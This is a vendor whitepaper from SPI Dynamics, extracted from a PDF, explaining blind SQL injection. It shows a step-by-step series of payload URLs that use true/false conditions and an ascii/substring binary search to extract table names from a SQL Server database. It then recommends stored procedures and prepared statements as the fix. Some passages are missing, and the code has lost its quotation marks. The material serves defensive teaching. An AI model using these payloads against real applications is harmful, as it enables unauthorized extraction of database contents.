Blind SQL Injection: Are Your Web Applications Vulnerable?
Blind SQL Injection: Are Your Web Applications Vulnerable?
Table of Contents
Introduction
Solutions
10
11
Contact Information
11
Introduction
The World Wide Web has experienced remarkable growth in recent years.
Businesses, individuals, and governments have found that web applications
can offer effective, efficient and reliable solutions to the challenges of
communicating and conducting commerce in the Twenty-first century.
However, in the cost-cutting rush to bring their web-based applications on
line or perhaps just through simple ignorance many software companies
overlook or introduce critical security issues.
To build secure applications, developers must acknowledge that security is a
fundamental component of any software product and that safeguards must
be infused with the software as it is being written. Building security into a
product is much easier (and vastly more cost-effective) than any postrelease attempt to remove or limit the flaws that invite intruders to attack
your site. To prove that dictum, consider the case of blind SQL injection.
The SQL statement the web application would use to retrieve the press
release might look like this (client-supplied input is underlined):
SELECT title, description, releaseDate, body FROM pressReleases
WHERE pressReleaseID = 5
The database server responds by returning the data for the fifth press
release. The web application will then format the press release data into an
HTML page and send the response to the client.
. . . and if this query also returns the same press release, then the
application is susceptible to SQL injection. Part of the users input is
interpreted as SQL code.
A secure application would reject this request because it would treat the
users input as a value, and the value 5 AND 1=1 would cause a type
mismatch error. The server would not display a press release.
USER_NAME() is a SQL Server function that returns the name of the current
user. If the current user is dbo (administrator), the fifth press release will be
returned. If not, the query will fail and no press release will be displayed.
By combining subqueries and functions, we can ask more complex questions.
The following example attempts to retrieve the name of a database table,
one character at a time.
http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE
xtype='U'), 1, 1))) > 109
The subquery (SELECT) is asking for the name of the first user table in the
database (which is typically the first thing to do in SQL injection
exploitation). The substring() function will return the first character of the
querys result. The lower() function will simply convert that character to
lower case. Finally, the ascii() function will return the ASCII value of this
character.
If the server returns the fifth press release in response to this URL, we know
that the first letter of the querys result comes after the letter m (ASCII
character 109) in the alphabet. By making multiple requests, we can
determine the precise ASCII value.
http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE
xtype='U'), 1, 1))) > 116
If no press release is returned, the ASCII value is greater than 109 but not
greater than 116. So, the letter is between n (110) and t (116).
http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE
xtype='U'), 1, 1))) > 113
Another false statement. We now know that the letter is between 110 and
113.
http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE
xtype='U'), 1, 1))) > 111
False again. The range is narrowed down to two letters: n and o (110 and
111).
http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE
xtype='U'), 1, 1))) = 111
The server returns the press release, so the statement is true! The first letter
of the querys result (and the tables name) is o. To retrieve the second
letter, repeat the process, but change the second argument in the
substring() function so that the next character of the result is extracted:
(change underlined)
http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE
xtype='U'), 2, 1))) > 109
Repeat this process until the entire string is extracted. In this case, the result
is orders.
As you can see, simply disabling the display of database server error
messages does not offer sufficient protection against SQL injection attacks.
Solutions
To secure an application against SQL injection, developers must never allow
client-supplied data to modify the syntax of SQL statements. In fact, the best
protection is to isolate the web application from SQL altogether. All SQL
statements required by the application should be in stored procedures and
kept on the database server. The application should execute the stored
procedures using a safe interface such as JDBCs CallableStatement or ADOs
Command Object. If arbitrary statements must be used, use
PreparedStatements. Both PreparedStatements and stored procedures
compile the SQL statement before the user input is added, making it
impossible for user input to modify the actual SQL statement.
Lets use pressRelease.jsp as an example. The relevant code would look
something like this:
String query = SELECT title, description, releaseDate, body
FROM pressReleases WHERE pressReleaseID = +
request.getParameter(pressReleaseID);
Statement stmt = dbConnection.createStatement();
ResultSet rs = stmt.executeQuery(query);
The first step toward securing this code is to take the SQL statement out of
the web application and put it in a stored procedure on the database server.
CREATE PROCEDURE getPressRelease
@pressReleaseID integer
AS
SELECT title, description, releaseDate, body FROM pressReleases
WHERE pressReleaseID = @pressReleaseID
CallableStatement cs = dbConnection.prepareCall({call
getPressRelease(?)});
cs.setInt(1,
Integer.parseInt(request.getParameter(pressReleaseID)));
ResultSet rs = cs.executeQuery();
SPI Dynamics uses direct research from SPI Labs to provide daily updates to
WebInspect, the leading Web application security assessment software. SPI
Labs engineers comply with the standards proposed by the Internet
Engineering Task Force (IETF) for responsible security vulnerability
disclosure. SPI Labs policies and procedures for disclosure are outlined on the
SPI Dynamics web site at: http://www.spidynamics.com/spilabs.html.
Macromedia ColdFusion
Lotus Domino
Macromedia JRun
BEA Weblogic
Jakarta Tomcat
Contact Information
SPI Dynamics
Suite 1100
Email: info@spidynamics.com
Atlanta, GA 30346
Web: www.spidynamics.com